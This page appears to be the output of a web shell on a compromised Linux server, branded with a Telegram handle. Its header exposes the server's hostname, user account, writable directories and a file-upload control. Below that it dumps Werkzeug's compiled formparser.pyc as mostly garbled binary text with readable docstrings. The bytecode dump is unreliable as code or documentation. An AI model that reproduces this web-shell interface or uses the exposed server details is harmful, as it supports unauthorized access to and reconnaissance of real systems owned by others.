https://t.me/AnonymousX5
Server : Apache
System : Linux cvar2.toservers.com 3.10.0-962.3.2.lve1.5.73.el7.x86_64 #1 SMP Wed Aug 24 21:31:23 UTC 2022 x86_64
User : njnconst ( 1116)
PHP Version : 8.4.18
Disable Function : NONE
Directory :  /proc/self/root/lib/python2.7/site-packages/werkzeug/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //proc/self/root/lib/python2.7/site-packages/werkzeug/formparser.pyc
�
./�_c@sdZddlZddlZddlmZddlmZddlmZddlmZddl	m
Z
dd	lmZdd
lm
Z
ddlmZddlmZdd
lmZddlmZddlmZddlmZddlmZddlmZddlmZyddlmZWn'ek
r[ddlmZdZnXed�Z ej!d�Z"e#ddg�Z$dd�Z%dddddde&d�Z'd�Z(de)fd ��YZ*d!�Z+d"�Z,d#�Z-d$Z.d%Z/d&Z0d'Z1d(e)fd)��YZ2dS(*s�
    werkzeug.formparser
    ~~~~~~~~~~~~~~~~~~~

    This module implements the form parsing.  It supports url-encoded forms
    as well as non-nested multipart uploads.

    :copyright: 2007 Pallets
    :license: BSD-3-Clause
i����N(tupdate_wrapper(tchain(trepeat(tteei(t
exceptions(tBytesIO(t	text_type(t	to_native(tFileStorage(tHeaders(t	MultiDict(tparse_options_header(turl_decode_stream(tget_content_length(tget_input_stream(tmake_line_iter(tSpooledTemporaryFile(t
TemporaryFilets^[ -~]{0,200}[!-~]$tbase64squoted-printablecCsNd}tdk	r%td|dd�S|dks=||krGtd�St�S(s,The stream factory that is used per default.ii�tmax_sizetmodeswb+i�N(RtNoneRR(ttotal_content_lengthtfilenametcontent_typetcontent_lengthR((s7/tmp/pip-install-sTXtzD/Werkzeug/werkzeug/formparser.pytdefault_stream_factory5s
sutf-8treplacecCs%t|||||||�j|�S(sParse the form data in the environ and return it as tuple in the form
    ``(stream, form, files)``.  You should only call this method if the
    transport method is `POST`, `PUT`, or `PATCH`.

    If the mimetype of the data transmitted is `multipart/form-data` the
    files multidict will be filled with `FileStorage` objects.  If the
    mimetype is unknown the input stream is wrapped and returned as first
    argument, else the stream is empty.

    This is a shortcut for the common usage of :class:`FormDataParser`.

    Have a look at :ref:`dealing-with-request-data` for more details.

    .. versionadded:: 0.5
       The `max_form_memory_size`, `max_content_length` and
       `cls` parameters were added.

    .. versionadded:: 0.5.1
       The optional `silent` flag was added.

    :param environ: the WSGI environment to be used for parsing.
    :param stream_factory: An optional callable that returns a new read and
                           writeable file descriptor.  This callable works
                           the same as :meth:`~BaseResponse._get_file_stream`.
    :param charset: The character set for URL and url encoded form data.
    :param errors: The encoding error behavior.
    :param max_form_memory_size: the maximum number of bytes to be accepted for
                           in-memory stored form data.  If the data
                           exceeds the value specified an
                           :exc:`~exceptions.RequestEntityTooLarge`
                           exception is raised.
    :param max_content_length: If this is provided and the transmitted data
                               is longer than this value an
                               :exc:`~exceptions.RequestEntityTooLarge`
                               exception is raised.
    :param cls: an optional dict class to use.  If this is not specified
                       or `None` the default :class:`MultiDict` is used.
    :param silent: If set to False parsing errors will not be caught.
    :return: A tuple in the form ``(stream, form, files)``.
    (tFormDataParsertparse_from_environ(tenvirontstream_factorytcharsetterrorstmax_form_memory_sizetmax_content_lengthtclstsilent((s7/tmp/pip-install-sTXtzD/Werkzeug/werkzeug/formparser.pytparse_form_dataAs2	cs�fd�}t|��S(s@Helper decorator for methods that exhausts the stream on return.csfz�||||�SWdt|dd�}|dk	rB|�nx|jd�}|sEPqEqEXdS(Ntexhaustii@i(tgetattrRtread(tselftstreamtargstkwargsR(tchunk(tf(s7/tmp/pip-install-sTXtzD/Werkzeug/werkzeug/formparser.pytwrapper�s
(R(R0R1((R0s7/tmp/pip-install-sTXtzD/Werkzeug/werkzeug/formparser.pytexhaust_stream~s
RcBs�eZdZdddddded�Zd�Zd�Zdd�Ze	d��Z
e	d��Zie
d	6ed
6ed6ZRS(
s�This class implements parsing of form data for Werkzeug.  By itself
    it can parse multipart and url encoded form data.  It can be subclassed
    and extended but for most mimetypes it is a better idea to use the
    untouched stream and expose it as separate attributes on a request
    object.

    .. versionadded:: 0.8

    :param stream_factory: An optional callable that returns a new read and
                           writeable file descriptor.  This callable works
                           the same as :meth:`~BaseResponse._get_file_stream`.
    :param charset: The character set for URL and url encoded form data.
    :param errors: The encoding error behavior.
    :param max_form_memory_size: the maximum number of bytes to be accepted for
                           in-memory stored form data.  If the data
                           exceeds the value specified an
                           :exc:`~exceptions.RequestEntityTooLarge`
                           exception is raised.
    :param max_content_length: If this is provided and the transmitted data
                               is longer than this value an
                               :exc:`~exceptions.RequestEntityTooLarge`
                               exception is raised.
    :param cls: an optional dict class to use.  If this is not specified
                       or `None` the default :class:`MultiDict` is used.
    :param silent: If set to False parsing errors will not be caught.
    sutf-8RcCsm|dkrt}n||_||_||_||_||_|dkrWt}n||_||_	dS(N(
RRR R!R"R#R$R
R%R&(R+R R!R"R#R$R%R&((s7/tmp/pip-install-sTXtzD/Werkzeug/werkzeug/formparser.pyt__init__�s
								cCs|jj|�S(N(tparse_functionstget(R+tmimetypetoptions((s7/tmp/pip-install-sTXtzD/Werkzeug/werkzeug/formparser.pytget_parse_func�scCsL|jdd�}t|�}t|�\}}|jt|�|||�S(s�Parses the information from the environment as form data.

        :param environ: the WSGI environment to be used for parsing.
        :return: A tuple in the form ``(stream, form, files)``.
        tCONTENT_TYPER(R5R
RtparseR(R+RRRR6R7((s7/tmp/pip-install-sTXtzD/Werkzeug/werkzeug/formparser.pyR�scCs�|jdk	r9|dk	r9||jkr9tj��n|dkrNi}n|j||�}|dk	r�y||||||�SWq�tk
r�|js��q�q�Xn||j�|j�fS(s�Parses the information from the given stream, mimetype,
        content length and mimetype parameters.

        :param stream: an input stream
        :param mimetype: the mimetype of the data
        :param content_length: the content length of the incoming data
        :param options: optional mimetype parameters (used for
                        the multipart boundary for instance)
        :return: A tuple in the form ``(stream, form, files)``.
        N(R$RRtRequestEntityTooLargeR8t
ValueErrorR&R%(R+R,R6RR7t
parse_func((s7/tmp/pip-install-sTXtzD/Werkzeug/werkzeug/formparser.pyR:�s	
	
c	Cs�t|j|j|jd|jd|j�}|jd�}|dkrWtd��nt	|t
�rx|jd�}n|j|||�\}}|||fS(NR#R%tboundarysMissing boundarytascii(
tMultiPartParserR R!R"R#R%R5RR<t
isinstanceRtencodeR:(	R+R,R6RR7tparserR>tformtfiles((s7/tmp/pip-install-sTXtzD/Werkzeug/werkzeug/formparser.pyt_parse_multipart�s		c	Csp|jdk	r9|dk	r9||jkr9tj��nt||jd|jd|j�}|||j�fS(NR"R%(R#RRR;RR!R"R%(R+R,R6RR7RD((s7/tmp/pip-install-sTXtzD/Werkzeug/werkzeug/formparser.pyt_parse_urlencodeds$smultipart/form-datas!application/x-www-form-urlencodedsapplication/x-url-encodedN(
t__name__t
__module__t__doc__RtTrueR3R8RR:R2RFRGR4(((s7/tmp/pip-install-sTXtzD/Werkzeug/werkzeug/formparser.pyR�s"		cCstj|�dk	S(s9Checks if the string given is a valid multipart boundary.N(t_multipart_boundary_retmatchR(R>((s7/tmp/pip-install-sTXtzD/Werkzeug/werkzeug/formparser.pytis_valid_multipart_boundaryscCsF|ddkr|d tfS|ddkr<|d tfS|tfS(s_Removes line ending characters and returns a tuple (`stripped_line`,
    `is_terminated`).
    i����s
i����s
s
(s
s
(s
s
s
s
(RKtFalse(tline((s7/tmp/pip-install-sTXtzD/Werkzeug/werkzeug/formparser.pyt_line_parses
cCs�g}x�|D]�}t|�}t|�\}}|sFtd��n|sPPq
|ddkr�|r�|d\}}||d|df|d<q
|jdd�}t|�dkr
|j|dj�|dj�f�q
q
Wt|�S(	sBParses multipart headers from an iterable that yields lines (including
    the trailing newline symbol).  The iterable has to be newline terminated.

    The iterable will stop at the line where the headers ended so it can be
    further consumed.

    :param iterable: iterable of strings that are newline terminated
    s*unexpected end of line in multipart headeris 	i����s
 it:i(RRQR<tsplittlentappendtstripR	(titerabletresultRPtline_terminatedtkeytvaluetparts((s7/tmp/pip-install-sTXtzD/Werkzeug/werkzeug/formparser.pytparse_multipart_headers#s	
.t
begin_formt
begin_filetconttendR@cBs�eZddddddd�Zd�Zd�Zd�Zd�Zd	�Zd
�Z	d�Z
d�Zed
�Z
d�Zd�ZRS(sutf-8Ri@icCs�||_||_||_|dkr-tn||_|dkrHtn||_|ddksmtd��|dks�td��||_	dS(Niis$buffer size has to be divisible by 4is"buffer size has to be at least 1KB(
R!R"R#RRR R
R%tAssertionErrortbuffer_size(R+R R!R"R#R%Rc((s7/tmp/pip-install-sTXtzD/Werkzeug/werkzeug/formparser.pyR3Hs				cCs8|dd!dks#|d dkr4|jd�dS|S(s�Internet Explorer 6 transmits the full file name if a file is
        uploaded.  This function strips the full path if it thinks the
        filename is Windows-like absolute.
        iis:\is\\s\i����(RS(R+R((s7/tmp/pip-install-sTXtzD/Werkzeug/werkzeug/formparser.pyt_fix_ie_filenamebs#cCs5x.|D]&}|sPn|j�}|r|SqWdS(s�The terminator might have some additional newlines before it.
        There is at least one application that sends additional newlines
        before headers (the python setuptools package).
        R(RV(R+titeratorRP((s7/tmp/pip-install-sTXtzD/Werkzeug/werkzeug/formparser.pyt_find_terminatorks
cCst|��dS(N(R<(R+tmessage((s7/tmp/pip-install-sTXtzD/Werkzeug/werkzeug/formparser.pytfailxscCs/|jd�}|dk	r+|tkr+|SdS(Nscontent-transfer-encoding(R5Rt_supported_multipart_encodings(R+theadersttransfer_encoding((s7/tmp/pip-install-sTXtzD/Werkzeug/werkzeug/formparser.pytget_part_encoding{scCsA|jd�}|r:t|�\}}|jd|j�S|jS(Nscontent-typeR!(R5RR!(R+RjRR6t	ct_params((s7/tmp/pip-install-sTXtzD/Werkzeug/werkzeug/formparser.pytget_part_charset�s
c	Cs�t|t�r*|j|j|j�}n|j|�}|jd�}yt|d�}Wntt	fk
r{d}nX|j
d|d|d|d|�}||fS(Nscontent-typescontent-lengthiRRRR(RAtbytestdecodeR!R"RdR5tinttKeyErrorR<R (R+RRjRRRt	container((s7/tmp/pip-install-sTXtzD/Werkzeug/werkzeug/formparser.pytstart_file_streaming�s
		cCstj��dS(N(RR;(R+Ro((s7/tmp/pip-install-sTXtzD/Werkzeug/werkzeug/formparser.pytin_memory_threshold_reached�scCs_|s|jd�nt|�s6|jd|�nt|�|jkr[|jd�ndS(NsMissing boundarysInvalid boundary: %ss Boundary longer than buffer size(RhRNRTRc(R+R>((s7/tmp/pip-install-sTXtzD/Werkzeug/werkzeug/formparser.pytvalidate_boundary�sc	cs�d|}|d}tt|d|d|jd|�t�}|j|�}||kr]dS||kry|jd�nx||kr{t|�}	|	jd�}
|
dkr�|jd�nt	|
�\}
}|j
|	�}|jd	�}
|jd
�}|dkrt|	|
ffVnt|	|
|ffVd}x|D]}|s[|jd�n|d
 dkr�|j
�}|||fkr�Pq�n|dk	r�|dkr�d}nytj||�}Wq�tk
r�|jd�q�Xn|rt|fVd}n|ddkr$d}d}n|d}d}t|| fVq?Wtd��|dkrmt|fVntdfVq|WdS(s,Generate parts of
        ``('begin_form', (headers, name))``
        ``('begin_file', (headers, name, filename))``
        ``('cont', bytestring)``
        ``('end', None)``

        Always obeys the grammar
        parts = ( begin_form cont* end |
                  begin_file cont* end )*
        s--tlimitRct
cap_at_bufferNs,Expected boundary at start of multipart datascontent-dispositions"Missing Content-Disposition headertnameRRsunexpected end of streamiRtbase64_codecs'could not decode transfer encoded chunki����s
i����sunexpected end of parts
s
(Rs
s
s
(RRRct_empty_string_iterRfRhR]R5RRRlt_begin_formt_begin_filetrstriptcodecsRpt	Exceptiont_contR<t_end(R+tfileR>RRxt	next_partt	last_partRet
terminatorRjtdispositiontextraRkRyRtbufRPtcutoff((s7/tmp/pip-install-sTXtzD/Werkzeug/werkzeug/formparser.pytparse_lines�sl

		
	
		
c	cs�d}x�|j|||�D]j\}}|tkrv|\}}}	t}
t}|j|	||�\}	}|j}
q|tkr�|\}}t}
g}|j}
|jdk	}q|t
kr|
|�|r�|t|�7}||jkr|j|�qq�q|t
kr|
rK|jd�d|t||	|d|�ffVq�|j|�}d|dj|�j||j�ffVqqWdS(sXGenerate ``('file', (name, val))`` and
        ``('form', (name, val))`` parts.
        iR�RjRDRN(R�R}RKRORttwriteR|RUR#RR�RTRuR�tseekRRntjoinRpR"(R+R�R>Rt	in_memorytellttellRjRyRtis_filetguard_memoryRst_writetpart_charset((s7/tmp/pip-install-sTXtzD/Werkzeug/werkzeug/formparser.pytparse_partss:"	

#cCs`t|j|||�d�\}}d�|D�}d�|D�}|j|�|j|�fS(Nicss)|]}|ddkr|dVqdS(iRDiN((t.0tp((s7/tmp/pip-install-sTXtzD/Werkzeug/werkzeug/formparser.pys	<genexpr>Fscss)|]}|ddkr|dVqdS(iR�iN((R�R�((s7/tmp/pip-install-sTXtzD/Werkzeug/werkzeug/formparser.pys	<genexpr>Gs(RR�R%(R+R�R>Rt
formstreamt
filestreamRDRE((s7/tmp/pip-install-sTXtzD/Werkzeug/werkzeug/formparser.pyR:Bs
!Ni(RHRIRR3RdRfRhRlRnRtRuRvRKR�R�R:(((s7/tmp/pip-install-sTXtzD/Werkzeug/werkzeug/formparser.pyR@Gs"			
						h	/(3RJRtret	functoolsRt	itertoolsRRRRRt_compatRRRtdatastructuresRR	R
thttpRturlsRtwsgiR
RRttempfileRtImportErrorRRR{tcompileRLt	frozensetRiRRKR'R2tobjectRRNRQR]R|R}R�R�R@(((s7/tmp/pip-install-sTXtzD/Werkzeug/werkzeug/formparser.pyt<module>sX


5	�			

https://t.me/AnonymousX5 - 2025